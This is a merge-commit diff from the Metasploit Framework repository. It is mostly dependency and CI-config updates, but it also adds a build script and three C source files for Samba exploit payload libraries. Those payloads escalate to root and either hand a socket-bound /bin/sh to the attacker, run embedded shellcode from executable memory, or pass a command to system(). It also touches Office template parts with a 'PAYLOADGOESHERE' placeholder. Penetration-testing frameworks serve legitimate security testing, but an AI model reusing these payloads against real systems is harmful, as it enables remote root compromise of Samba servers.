Merge branch 'master' into feature/eternal_blue/rubysmb_refactor
This commit is contained in:
commit
d5e74ffdf3
15
.travis.yml
15
.travis.yml
|
@ -16,9 +16,10 @@ rvm:
|
|||
- '2.4.1'
|
||||
|
||||
env:
|
||||
- CMD=bundle exec rake "cucumber cucumber:boot" CREATE_BINSTUBS=true
|
||||
- CMD=bundle exec rake spec SPEC_OPTS="--tag content"
|
||||
- CMD=bundle exec rake spec SPEC_OPTS="--tag ~content"
|
||||
# TODO: restore these tests when the code passes them!
|
||||
# - CMD='bundle exec rake cucumber cucumber:boot CREATE_BINSTUBS=true'
|
||||
- CMD='bundle exec rake spec SPEC_OPTS="--tag content"'
|
||||
- CMD='bundle exec rake spec SPEC_OPTS="--tag ~content"'
|
||||
|
||||
matrix:
|
||||
fast_finish: true
|
||||
|
@ -32,14 +33,18 @@ before_install:
|
|||
- ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
|
||||
- ls -la ./.git/hooks
|
||||
- ./.git/hooks/post-merge
|
||||
# Update the bundler
|
||||
- gem install bundler
|
||||
before_script:
|
||||
- cp config/database.yml.travis config/database.yml
|
||||
- bundle exec rake --version
|
||||
- bundle exec rake db:create
|
||||
- bundle exec rake db:migrate
|
||||
script:
|
||||
# fail build if db/schema.rb update is not committed
|
||||
- git diff --exit-code db/schema.rb && $CMD
|
||||
- git diff --exit-code db/schema.rb
|
||||
script:
|
||||
- echo "${CMD}"
|
||||
- bash -c "${CMD}"
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
|
6
Gemfile
6
Gemfile
|
@ -3,10 +3,6 @@ source 'https://rubygems.org'
|
|||
# spec.add_runtime_dependency '<name>', [<version requirements>]
|
||||
gemspec name: 'metasploit-framework'
|
||||
|
||||
gem 'bit-struct', git: 'https://github.com/busterb/bit-struct', branch: 'ruby-2.4'
|
||||
gem 'method_source', git: 'https://github.com/banister/method_source', branch: 'master'
|
||||
|
||||
gem 'ruby_smb', path: '/Users/dmaloney/rapid7/ruby_smb'
|
||||
# separate from test as simplecov is not run on travis-ci
|
||||
group :coverage do
|
||||
# code coverage for tests
|
||||
|
@ -19,7 +15,7 @@ group :development do
|
|||
# generating documentation
|
||||
gem 'yard'
|
||||
# for development and testing purposes
|
||||
gem 'pry', git: 'https://github.com/pry/pry', branch: 'master'
|
||||
gem 'pry'
|
||||
# module documentation
|
||||
gem 'octokit'
|
||||
# metasploit-aggregator as a framework only option for now
|
||||
|
|
48
Gemfile.lock
48
Gemfile.lock
|
@ -1,30 +1,7 @@
|
|||
GIT
|
||||
remote: https://github.com/banister/method_source
|
||||
revision: 0cc6cc8e15d08880585e8cb0c54e13c3cf937c54
|
||||
branch: master
|
||||
specs:
|
||||
method_source (0.8.1)
|
||||
|
||||
GIT
|
||||
remote: https://github.com/busterb/bit-struct
|
||||
revision: 707133ae6af5420be6fbe29be6baa5fbc929da2e
|
||||
branch: ruby-2.4
|
||||
specs:
|
||||
bit-struct (0.15.0)
|
||||
|
||||
GIT
|
||||
remote: https://github.com/pry/pry
|
||||
revision: f19d3e2ae86a677e1e926016fa1a5763675e3659
|
||||
branch: master
|
||||
specs:
|
||||
pry (0.10.4)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.8.1)
|
||||
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.14.22)
|
||||
metasploit-framework (4.14.24)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -58,7 +35,7 @@ PATH
|
|||
rb-readline
|
||||
recog
|
||||
redcarpet
|
||||
rex-arch (= 0.1.4)
|
||||
rex-arch
|
||||
rex-bin_tools
|
||||
rex-core
|
||||
rex-encoder
|
||||
|
@ -138,6 +115,7 @@ GEM
|
|||
backports (3.8.0)
|
||||
bcrypt (3.1.11)
|
||||
bindata (2.4.0)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
capybara (2.14.0)
|
||||
addressable
|
||||
|
@ -237,6 +215,7 @@ GEM
|
|||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.1.9)
|
||||
method_source (0.8.2)
|
||||
mime-types (3.1)
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2016.0521)
|
||||
|
@ -267,6 +246,10 @@ GEM
|
|||
activerecord (>= 4.0.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.10.4)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.8.1)
|
||||
slop (~> 3.4)
|
||||
public_suffix (2.0.5)
|
||||
rack (1.6.8)
|
||||
rack-test (0.6.3)
|
||||
|
@ -286,10 +269,10 @@ GEM
|
|||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.0.0)
|
||||
rb-readline (0.5.4)
|
||||
recog (2.1.7)
|
||||
recog (2.1.8)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.4)
|
||||
rex-arch (0.1.8)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.3)
|
||||
metasm
|
||||
|
@ -353,6 +336,10 @@ GEM
|
|||
rspec-mocks (~> 3.6.0)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-support (3.6.0)
|
||||
ruby_smb (0.0.17)
|
||||
bindata
|
||||
rubyntlm
|
||||
windows_error
|
||||
rubyntlm (0.6.2)
|
||||
rubyzip (1.2.1)
|
||||
sawyer (0.8.1)
|
||||
|
@ -370,6 +357,7 @@ GEM
|
|||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.1)
|
||||
slop (3.6.0)
|
||||
sqlite3 (1.3.13)
|
||||
sshkey (1.9.0)
|
||||
thor (0.19.4)
|
||||
|
@ -381,7 +369,7 @@ GEM
|
|||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.2)
|
||||
xmlrpc (0.3.0)
|
||||
xpath (2.0.0)
|
||||
xpath (2.1.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.9.9)
|
||||
|
||||
|
@ -390,15 +378,13 @@ PLATFORMS
|
|||
|
||||
DEPENDENCIES
|
||||
aruba
|
||||
bit-struct!
|
||||
cucumber-rails
|
||||
factory_girl_rails
|
||||
fivemat
|
||||
metasploit-aggregator
|
||||
metasploit-framework!
|
||||
method_source!
|
||||
octokit
|
||||
pry!
|
||||
pry
|
||||
rake
|
||||
redcarpet
|
||||
rspec-rails
|
||||
|
|
76
LICENSE_GEMS
76
LICENSE_GEMS
|
@ -6,20 +6,21 @@ activerecord, 4.2.8, MIT
|
|||
activesupport, 4.2.8, MIT
|
||||
addressable, 2.5.1, "Apache 2.0"
|
||||
arel, 6.0.4, MIT
|
||||
arel-helpers, 2.3.0, unknown
|
||||
arel-helpers, 2.4.0, unknown
|
||||
aruba, 0.14.2, MIT
|
||||
backports, 3.8.0, MIT
|
||||
bcrypt, 3.1.11, MIT
|
||||
bindata, 2.4.0, ruby
|
||||
bit-struct, 0.15.0, ruby
|
||||
bit-struct, 0.16, ruby
|
||||
builder, 3.2.3, MIT
|
||||
bundler, 1.14.6, MIT
|
||||
bundler, 1.15.0, MIT
|
||||
capybara, 2.14.0, MIT
|
||||
childprocess, 0.5.9, MIT
|
||||
coderay, 1.1.1, MIT
|
||||
contracts, 0.16.0, "Simplified BSD"
|
||||
cucumber, 2.4.0, MIT
|
||||
cucumber-core, 1.5.0, MIT
|
||||
cucumber-rails, 1.4.5, MIT
|
||||
cucumber-rails, 1.5.0, MIT
|
||||
cucumber-wire, 0.0.1, MIT
|
||||
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
docile, 1.1.5, MIT
|
||||
|
@ -31,9 +32,9 @@ ffi, 1.9.18, "New BSD"
|
|||
filesize, 0.1.1, MIT
|
||||
fivemat, 1.3.3, MIT
|
||||
gherkin, 4.1.3, MIT
|
||||
google-protobuf, 3.2.0.2, "New BSD"
|
||||
google-protobuf, 3.3.0, "New BSD"
|
||||
googleauth, 0.5.1, "Apache 2.0"
|
||||
grpc, 1.2.5, "New BSD"
|
||||
grpc, 1.3.4, "New BSD"
|
||||
i18n, 0.8.1, MIT
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.1.0, ruby
|
||||
|
@ -43,19 +44,19 @@ logging, 2.2.2, MIT
|
|||
loofah, 2.0.3, MIT
|
||||
memoist, 0.15.0, MIT
|
||||
metasm, 1.0.3, LGPL
|
||||
metasploit-aggregator, 0.1.3, "New BSD"
|
||||
metasploit-concern, 2.0.3, "New BSD"
|
||||
metasploit-credential, 2.0.8, "New BSD"
|
||||
metasploit-framework, 4.14.17, "New BSD"
|
||||
metasploit-model, 2.0.3, "New BSD"
|
||||
metasploit-payloads, 1.2.28, "3-clause (or ""modified"") BSD"
|
||||
metasploit-aggregator, 0.2.1, "New BSD"
|
||||
metasploit-concern, 2.0.4, "New BSD"
|
||||
metasploit-credential, 2.0.9, "New BSD"
|
||||
metasploit-framework, 4.14.23, "New BSD"
|
||||
metasploit-model, 2.0.4, "New BSD"
|
||||
metasploit-payloads, 1.2.29, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 2.0.14, "New BSD"
|
||||
metasploit_payloads-mettle, 0.1.9, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.8.1, MIT
|
||||
method_source, 0.8.2, MIT
|
||||
mime-types, 3.1, MIT
|
||||
mime-types-data, 3.2016.0521, MIT
|
||||
mini_portile2, 2.1.0, MIT
|
||||
minitest, 5.10.1, MIT
|
||||
minitest, 5.10.2, MIT
|
||||
msgpack, 1.1.0, "Apache 2.0"
|
||||
multi_json, 1.12.1, MIT
|
||||
multi_test, 0.1.2, MIT
|
||||
|
@ -64,7 +65,7 @@ nessus_rest, 0.1.6, MIT
|
|||
net-ssh, 4.1.0, MIT
|
||||
network_interface, 0.0.1, MIT
|
||||
nexpose, 6.0.0, BSD
|
||||
nokogiri, 1.7.1, MIT
|
||||
nokogiri, 1.7.2, MIT
|
||||
octokit, 4.7.0, MIT
|
||||
openssl-ccm, 1.2.1, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
|
@ -77,7 +78,7 @@ pg_array_parser, 0.0.9, unknown
|
|||
postgres_ext, 3.0.0, MIT
|
||||
pry, 0.10.4, MIT
|
||||
public_suffix, 2.0.5, MIT
|
||||
rack, 1.6.5, MIT
|
||||
rack, 1.6.8, MIT
|
||||
rack-test, 0.6.3, MIT
|
||||
rails-deprecated_sanitizer, 1.0.3, MIT
|
||||
rails-dom-testing, 1.0.8, MIT
|
||||
|
@ -85,26 +86,26 @@ rails-html-sanitizer, 1.0.3, MIT
|
|||
railties, 4.2.8, MIT
|
||||
rake, 12.0.0, MIT
|
||||
rb-readline, 0.5.4, BSD
|
||||
recog, 2.1.6, unknown
|
||||
recog, 2.1.8, unknown
|
||||
redcarpet, 3.4.0, MIT
|
||||
rex-arch, 0.1.4, "New BSD"
|
||||
rex-bin_tools, 0.1.2, "New BSD"
|
||||
rex-core, 0.1.9, "New BSD"
|
||||
rex-encoder, 0.1.3, "New BSD"
|
||||
rex-exploitation, 0.1.13, "New BSD"
|
||||
rex-java, 0.1.4, "New BSD"
|
||||
rex-mime, 0.1.4, "New BSD"
|
||||
rex-nop, 0.1.0, unknown
|
||||
rex-ole, 0.1.5, "New BSD"
|
||||
rex-powershell, 0.1.71, "New BSD"
|
||||
rex-bin_tools, 0.1.3, "New BSD"
|
||||
rex-core, 0.1.10, "New BSD"
|
||||
rex-encoder, 0.1.4, "New BSD"
|
||||
rex-exploitation, 0.1.14, "New BSD"
|
||||
rex-java, 0.1.5, "New BSD"
|
||||
rex-mime, 0.1.5, "New BSD"
|
||||
rex-nop, 0.1.1, "New BSD"
|
||||
rex-ole, 0.1.6, "New BSD"
|
||||
rex-powershell, 0.1.72, "New BSD"
|
||||
rex-random_identifier, 0.1.2, "New BSD"
|
||||
rex-registry, 0.1.2, "New BSD"
|
||||
rex-rop_builder, 0.1.2, "New BSD"
|
||||
rex-socket, 0.1.5, "New BSD"
|
||||
rex-sslscan, 0.1.3, "New BSD"
|
||||
rex-struct2, 0.1.1, "New BSD"
|
||||
rex-text, 0.2.14, "New BSD"
|
||||
rex-zip, 0.1.2, "New BSD"
|
||||
rex-registry, 0.1.3, "New BSD"
|
||||
rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.6, "New BSD"
|
||||
rex-sslscan, 0.1.4, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.15, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
robots, 0.10.1, MIT
|
||||
rspec-core, 3.6.0, MIT
|
||||
|
@ -112,14 +113,15 @@ rspec-expectations, 3.6.0, MIT
|
|||
rspec-mocks, 3.6.0, MIT
|
||||
rspec-rails, 3.6.0, MIT
|
||||
rspec-support, 3.6.0, MIT
|
||||
ruby_smb, 0.0.12, "New BSD"
|
||||
ruby_smb, 0.0.17, "New BSD"
|
||||
rubyntlm, 0.6.2, MIT
|
||||
rubyzip, 1.2.1, "Simplified BSD"
|
||||
sawyer, 0.8.1, MIT
|
||||
shoulda-matchers, 3.1.1, MIT
|
||||
signet, 0.7.3, "Apache 2.0"
|
||||
simplecov, 0.14.1, MIT
|
||||
simplecov-html, 0.10.0, MIT
|
||||
simplecov-html, 0.10.1, MIT
|
||||
slop, 3.6.0, MIT
|
||||
sqlite3, 1.3.13, "New BSD"
|
||||
sshkey, 1.9.0, MIT
|
||||
thor, 0.19.4, MIT
|
||||
|
@ -127,7 +129,7 @@ thread_safe, 0.3.6, "Apache 2.0"
|
|||
timecop, 0.8.1, MIT
|
||||
tzinfo, 1.2.3, MIT
|
||||
tzinfo-data, 1.2017.2, MIT
|
||||
windows_error, 0.1.1, BSD
|
||||
windows_error, 0.1.2, BSD
|
||||
xmlrpc, 0.3.0, ruby
|
||||
xpath, 2.0.0, unknown
|
||||
xpath, 2.1.0, MIT
|
||||
yard, 0.9.9, MIT
|
||||
|
|
|
@ -0,0 +1,48 @@
|
|||
#!/bin/bash
|
||||
|
||||
build () {
|
||||
CC=$1
|
||||
TARGET_SUFFIX=$2
|
||||
CFLAGS=$3
|
||||
|
||||
echo "[*] Building for ${TARGET_SUFFIX}..."
|
||||
for type in {shellcode,system,findsock}
|
||||
do ${CC} ${CFLAGS} -Wall -Werror -fPIC -fno-stack-protector samba-root-${type}.c -shared -o samba-root-${type}-${TARGET_SUFFIX}.so
|
||||
done
|
||||
}
|
||||
|
||||
rm -f *.o *.so *.gz
|
||||
|
||||
#
|
||||
# Linux GLIBC
|
||||
#
|
||||
|
||||
# x86
|
||||
build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
|
||||
build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# ARM
|
||||
build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
|
||||
build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
|
||||
build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
|
||||
|
||||
# MIPS
|
||||
build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
|
||||
build "mipsel-linux-gnu-gcc-5" "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
|
||||
build "mips64-linux-gnuabi64-gcc-5" "linux-glibc-mips64" "-D OLD_LIB_SET_1"
|
||||
build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
|
||||
|
||||
# SPARC
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# PowerPC
|
||||
build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
|
||||
build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
|
||||
build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
|
||||
|
||||
# S390X
|
||||
build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
|
||||
|
||||
gzip -9 *.so
|
||||
rm -f *.o *.so
|
|
@ -0,0 +1,21 @@
|
|||
#!/bin/bash
|
||||
|
||||
# Assume x86_64 Ubuntu 16.04 base system
|
||||
apt-get install build-essential \
|
||||
gcc-5-multilib \
|
||||
gcc-5-multilib-arm-linux-gnueabi \
|
||||
gcc-5-multilib-arm-linux-gnueabihf \
|
||||
gcc-5-multilib-mips-linux-gnu \
|
||||
gcc-5-multilib-mips64-linux-gnuabi64 \
|
||||
gcc-5-multilib-mips64el-linux-gnuabi64 \
|
||||
gcc-5-multilib-mipsel-linux-gnu \
|
||||
gcc-5-multilib-powerpc-linux-gnu \
|
||||
gcc-5-multilib-powerpc64-linux-gnu \
|
||||
gcc-5-multilib-s390x-linux-gnu \
|
||||
gcc-5-multilib-sparc64-linux-gnu \
|
||||
gcc-4.9-powerpc64le-linux-gnu \
|
||||
gcc-4.9-aarch64-linux-gnu
|
||||
|
||||
if [ ! -e /usr/include/asm ];
|
||||
then ln -sf /usr/include/asm-generic /usr/include/asm
|
||||
fi
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,67 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <signal.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver execve,execve@GLIBC_2.0");
|
||||
__asm__(".symver dup2,dup2@GLIBC_2.0");
|
||||
__asm__(".symver getsockname,getsockname@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver execve,execve@GLIBC_2.2.5");
|
||||
__asm__(".symver dup2,dup2@GLIBC_2.2.5");
|
||||
__asm__(".symver getsockname,getsockname@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
extern bool change_to_root_user(void);
|
||||
|
||||
// Samba 4 looks for samba_init_module
|
||||
int samba_init_module(void)
|
||||
{
|
||||
char *args[2] = {"/bin/sh", 0};
|
||||
struct sockaddr_in sa;
|
||||
socklen_t sl = sizeof(sa);
|
||||
int s;
|
||||
unsigned char buff[] = {
|
||||
0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,
|
||||
0xa2, 0x39, 0x00, 0x00, 0xc0, 0x88, 0x03, 0xc8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x64, 0x7e,
|
||||
0x64, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
change_to_root_user();
|
||||
|
||||
for (s=4096; s>0; s--) {
|
||||
|
||||
// Skip over invalid sockets
|
||||
if (getsockname(s, (struct sockaddr *)&sa, &sl) != 0)
|
||||
continue;
|
||||
|
||||
// Skip over non internet sockets
|
||||
if (sa.sin_family != AF_INET)
|
||||
continue;
|
||||
|
||||
// Send a semi-valid SMB response to simplify things
|
||||
send(s, buff, sizeof(buff), 0);
|
||||
|
||||
// Duplicate standard input/output/error
|
||||
dup2(s, 0);
|
||||
dup2(s, 1);
|
||||
dup2(s, 2);
|
||||
|
||||
execve(args[0], args, NULL);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Samba 3 looks for init_samba_module
|
||||
int init_samba_module(void) { return samba_init_module(); }
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,47 @@
|
|||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.0");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.2.5");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 10000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
extern bool change_to_root_user(void);
|
||||
|
||||
// Samba 4 looks for samba_init_module
|
||||
int samba_init_module(void)
|
||||
{
|
||||
void *mem;
|
||||
void (*fn)();
|
||||
|
||||
change_to_root_user();
|
||||
mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
|
||||
if (mem == MAP_FAILED)
|
||||
return 0;
|
||||
|
||||
memcpy(mem, payload, PAYLOAD_SIZE);
|
||||
fn = (void(*)())mem;
|
||||
|
||||
if (! fork()) {
|
||||
fn();
|
||||
kill(getpid(), 9);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Samba 3 looks for init_samba_module
|
||||
int init_samba_module(void) { return samba_init_module(); }
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,34 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 10000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
extern bool change_to_root_user(void);
|
||||
|
||||
// Samba 4 looks for samba_init_module
|
||||
int samba_init_module(void)
|
||||
{
|
||||
change_to_root_user();
|
||||
if (! fork()) {
|
||||
system((const char*)payload);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Samba 3 looks for init_samba_module
|
||||
int init_samba_module(void) { return samba_init_module(); }
|
|
@ -1,2 +0,0 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="bin" ContentType="application/vnd.ms-office.vbaProject"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.ms-word.document.macroEnabled.main+xml"/><Override PartName="/word/vbaData.xml" ContentType="application/vnd.ms-word.vbaData+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
|
|
@ -1,2 +0,0 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/></Relationships>
|
|
@ -0,0 +1,13 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<dc:title/>
|
||||
<dc:subject/>
|
||||
<dc:creator/>
|
||||
<cp:keywords/>
|
||||
<dc:description></dc:description>
|
||||
<cp:lastModifiedBy>Nobody</cp:lastModifiedBy>
|
||||
<cp:revision>1</cp:revision>
|
||||
<dcterms:created xsi:type="dcterms:W3CDTF">2017-05-25T19:12:00Z</dcterms:created>
|
||||
<dcterms:modified xsi:type="dcterms:W3CDTF">2017-05-25T19:28:00Z</dcterms:modified>
|
||||
<cp:category/>
|
||||
</cp:coreProperties>
|
|
@ -1,2 +0,0 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal.dotm</Template><TotalTime>105</TotalTime><Pages>1</Pages><Words>1</Words><Characters>10</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>1</Lines><Paragraphs>1</Paragraphs><ScaleCrop>false</ScaleCrop><HeadingPairs><vt:vector size="2" baseType="variant"><vt:variant><vt:lpstr>Title</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant></vt:vector></HeadingPairs><TitlesOfParts><vt:vector size="1" baseType="lpstr"><vt:lpstr></vt:lpstr></vt:vector></TitlesOfParts><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>10</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>15.0000</AppVersion></Properties>
|
|
@ -1,2 +0,0 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title></dc:title><dc:subject></dc:subject><dc:creator>Windows User</dc:creator><cp:keywords></cp:keywords><dc:description> PAYLOADGOESHERE</dc:description><cp:lastModifiedBy>Windows User</cp:lastModifiedBy><cp:revision>32</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2017-02-01T20:39:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2017-02-02T22:26:00Z</dcterms:modified></cp:coreProperties>
|
Binary file not shown.
|
@ -1,2 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" 